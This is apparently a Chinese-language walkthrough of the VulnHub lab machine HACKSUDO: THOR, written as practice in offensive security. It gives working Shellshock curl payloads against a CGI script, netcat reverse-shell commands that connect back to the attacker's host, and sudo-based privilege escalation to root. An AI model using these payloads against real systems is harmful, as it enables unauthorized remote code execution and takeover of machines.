一、前言
主要利用方式:cgi-bin的shellshock(破壳)漏洞+sudo切换用户再通过server的sudo提权
二、靶机信息
靶场: vulnhub.com
靶机名称: HACKSUDO: THOR
难度: 中等
发布时间: 2021 年 8月 03日
下载地址:https://www.vulnhub.com/entry/hacksudo-thor,733/
备注:这题主要取巧的地方在于目录扫描到cgi-bin目录,
如果扫不到,需要通过前端的代码分析发现问题
三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.13
└─$ sudo nmap -p22,80 -sV -A 10.0.2.13
3、访问80端口,并做常规扫描
http://10.0.2.13/
└─$ dirsearch -u 10.0.2.13
└─$ nikto -h 10.0.2.13
4、通过扫描,发现存在/cgi-bin/目录,初步猜测存在shellshock漏洞(破壳漏洞)
做进一步尝试,扫描路径
└─$ dirsearch -u 10.0.2.13/cgi-bin/ -f -e sh,cgi
-e,--extensions 包含的文件拓展名(逗号分隔) 如-e php,asp
-f,--force-extensions 在字典的每条记录后面添加文件拓展名
5、存在backup.cgi和shell.sh,基本就能判定可以利用了
用nmap也是能证明这个存在漏洞的,后续也可以直接通过nmap直接打
五、漏洞利用(突破边界)
通过cve-2014-6271或者6278去利用即可,本次选用cve-2014-6271
6、通过测试,可以成功回显ID
└─$ curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" http://10.0.2.13/cgi-bin/backup.cgi
7、攻击监听,并执行以下命令进行反弹shell,顺手获取Id及ip
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 10.0.2.7 9999'" http://10.0.2.13/cgi-bin/backup.cgi
8、升级交互式tty
六、提权
9、查看当前用户sudo权限,发现一个不需要密码就能以thor权限执行的脚本
10、按照提示,以thor用户身份去执行hammer.sh文件
因为是免密的,所以输入密码时候,可以直接回车,然后查询了一下id,发现是thor用户身份
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
11、既然可以执行id,那就可以执行反弹shell,并升级交互式tty
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
nc -e /bin/bash 10.0.2.7 5555
12、拿到thor用户后,查看可以执行点什么,可以用来提权的
通过测试,发现存在service提权,参考:https://gtfobins.github.io/
thor@HacksudoThor:~$ sudo -l
13、sudo提权,获取id、flag、ip
thor@HacksudoThor:~$ sudo service ../../bin/sh
cat root.txt